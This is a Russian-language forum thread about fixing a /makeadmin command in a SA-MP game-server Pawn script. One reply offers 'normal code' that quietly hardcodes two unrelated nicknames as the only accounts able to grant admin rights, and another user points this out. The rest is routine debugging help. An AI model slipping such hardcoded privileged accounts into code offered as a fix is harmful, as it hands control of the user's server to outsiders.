Аня 0 Опубликовано 3 января, 2019 Проблема в том что когда снимаешь администратора /makeadmin id 0 | то он не снимается он стоит так же на данном посту. Для этого надо создавать команду на снятие администратора? или как то это можно исправить? Ник вставлен правильно. if(strcmp(cmd, "/makeadmin", true) == 0) { if(IsPlayerConnected(playerid)) { tmp = strtok(cmdtext, idx); if(!strlen(tmp)) { SendClientMessage(playerid, COLOR_GRAD2, "Информация: /makeadmin [id] [lv]"); return true; } new para1; new level; para1 = ReturnUser(tmp); tmp = strtok(cmdtext, idx); level = strval(tmp); new szName[32]; GetPlayerName(playerid,szName,32); if(!strcmp(szName,"Мой ник",true)||!strcmp(szName,"Мой ник",true)) { if(AdminLog[playerid] != 1) { SendClientMessage(playerid, COLOR_GRAD2,ADMINLOG); return true; } if(IsPlayerConnected(para1)) { if(para1 != INVALID_PLAYER_ID) { GetPlayerName(para1, giveplayer, sizeof(giveplayer)); GetPlayerName(playerid, sendername, sizeof(sendername)); PlayerInfo[para1][pAdmin] = level; if(level < 0 || level > 11) return SendClientMessage(playerid, COLOR_GREY, "Не меньше 0 не больше 11."); printf("Игрок: %s был повышен до %s администратора.", sendername, giveplayer, level); format(string, sizeof(string), "Вам был выдан %d [Ранг] Администратирования Админом:%s.", level, sendername); SendClientMessage(para1, COLOR_LIGHTBLUE, string); format(string, sizeof(string), "Вы повысили %s до %d [Ранга] Администратирования.", giveplayer,level); SendClientMessage(playerid, COLOR_WHITE, string); } } } else if(PlayerInfo[playerid][pAdmin] >=12) { GetPlayerName(playerid, sendername, sizeof(sendername)); format(string, sizeof(string), "[Сервер]Вы не отвечаете за данную функцию",sendername,giveplayer,level); ABroadCast(COLOR_LIGHTRED,string,1); } } return true; } Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
failed 14 Опубликовано 3 января, 2019 Вот нормальный код [spoiler=Код] if(strcmp(cmd, "/makeadmin", true) == 0){if(IsPlayerConnected(playerid)){tmp = strtok(cmdtext, idx);if(!strlen(tmp)){SendClientMessage(playerid, COLOR_GRAD2, "??????????: /makeadmin [id] [lv]");return true;}new para1;new level;para1 = ReturnUser(tmp);tmp = strtok(cmdtext, idx);level = strval(tmp);new szName[32];GetPlayerName(playerid,szName,32);if(!strcmp(szName,"Semen_Polyanski",true)||!strcmp(szName,"Maksona_Men",true)){if(AdminLog[playerid] != 1){SendClientMessage(playerid, COLOR_GRAD2,ADMINLOG);return true;}if(IsPlayerConnected(para1)){if(para1 != INVALID_PLAYER_ID){GetPlayerName(para1, giveplayer, sizeof(giveplayer));GetPlayerName(playerid, sendername, sizeof(sendername));PlayerInfo[para1][pAdministrator] = level;if(level < 0 || level > 12) return SendClientMessage(playerid, COLOR_GREY, "?? ?????? '0' ? ?? ?????? '12'.");printf("?????: %s ??? ??????? %s ?? %d ?????????????????.", sendername, giveplayer, level);format(string, sizeof(string), "??? ??? ????? %d [????] ????????????????? ???????:%s.", level, sendername);SendClientMessage(para1, COLOR_LIGHTBLUE, string);format(string, sizeof(string), "?? ???????? %s ?? %d [?????] ?????????????????.", giveplayer,level);SendClientMessage(playerid, COLOR_WHITE, string);}}}elseif(PlayerInfo[playerid][pAdministrator] >=11){GetPlayerName(playerid, sendername, sizeof(sendername));format(string, sizeof(string), "?????????????: %s ????? ??????? |LVL%d| ?????? |%s| .",sendername,giveplayer,level);ABroadCast(COLOR_LIGHTRED,string,1);}}return true; Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Reyn 85 Опубликовано 3 января, 2019 ,даже разницы нету тупо даже скопировать не мог нормально. Тут в другом проблема Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
failed 14 Опубликовано 3 января, 2019 @Reyn,я код другой дал нормальный а то что русский язык стал ???? это ничего Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Reyn 85 Опубликовано 3 января, 2019 ,У тебя команда точ в точ как та... Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Web 414 Опубликовано 3 января, 2019 (изменено) if(strcmp(cmd, "/makeadmin", true) == 0) { if(IsPlayerConnected(playerid)) { tmp = strtok(cmdtext, idx); if(!strlen(tmp)) { SendClientMessage(playerid, -1, "Используйте: /makeadmin [id игрока/часть ника] [Уровень админки]"); return 1; } new para1; new level; para1 = ReturnUser(tmp); tmp = strtok(cmdtext, idx); level = strval(tmp); if (PlayerInfo[playerid][pAdmin] >= 12) { if(IsPlayerConnected(para1)) { if(para1 != INVALID_PLAYER_ID) { GetPlayerName(para1, giveplayer, sizeof(giveplayer)); GetPlayerName(playerid, sendername, sizeof(sendername)); PlayerInfo[para1][pAdmin] = level; format(string, sizeof(string), "Вы были сделаны администратором %d уровня главным администратором %s.", level,sendername); SendClientMessage(para1, -1, string); format(string, sizeof(string), "Вы дали администраторские права %d уровня пользователю %s.",level, giveplayer); SendClientMessage(playerid, -1, string); } } } else { SendClientMessage(playerid, -1, "Вы не админ!"); } } return 1; Изменено 3 января, 2019 пользователем Wеb 1 Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Аня 0 Опубликовано 3 января, 2019 if(strcmp(cmd, "/makeadmin", true) == 0) { if(IsPlayerConnected(playerid)) { tmp = strtok(cmdtext, idx); if(!strlen(tmp)) { SendClientMessage(playerid, -1, "Используйте: /makeadmin [id игрока/часть ника] [Уровень админки]"); return 1; } new para1; new level; para1 = ReturnUser(tmp); tmp = strtok(cmdtext, idx); level = strval(tmp); if (PlayerInfo[playerid][pAdmin] >= 12) { if(IsPlayerConnected(para1)) { if(para1 != INVALID_PLAYER_ID) { GetPlayerName(para1, giveplayer, sizeof(giveplayer)); GetPlayerName(playerid, sendername, sizeof(sendername)); PlayerInfo[para1][pAdmin] = level; format(string, sizeof(string), "Вы были сделаны администратором %d уровня главным администратором %s.", level,sendername); SendClientMessage(para1, -1, string); format(string, sizeof(string), "Вы дали администраторские права %d уровня пользователю %s.",level, giveplayer); SendClientMessage(playerid, -1, string); } } } else { SendClientMessage(playerid, -1, "Вы не админ!"); } } return 1; Вставила данный код мне выдало 26 ERROR Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Аня 0 Опубликовано 3 января, 2019 @Reyn, Нет почему же , он вставил свои ники в доступ к команде Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Reyn 85 Опубликовано 3 января, 2019 @Аня,Что за ошибки-то мы не маги , чтобы угадывать ) Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Аня 0 Опубликовано 3 января, 2019 Как бы сказать... ошибки не относящиеся к команде /makeadmin вообще никаким образом. Просто мод выдаёт уже другие ошибки а их не было. Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Reyn 85 Опубликовано 3 января, 2019 @Аня,Тебе пишет что это всё неизвестные символы вот 1 из них PlayerToPoint Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты
Web 414 Опубликовано 3 января, 2019 Скобка пропущена же, видимо не полностью скопирована и вставлена моя команда. Либо же осталась скобка от прошлой или той которая идет дальше. 1 Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты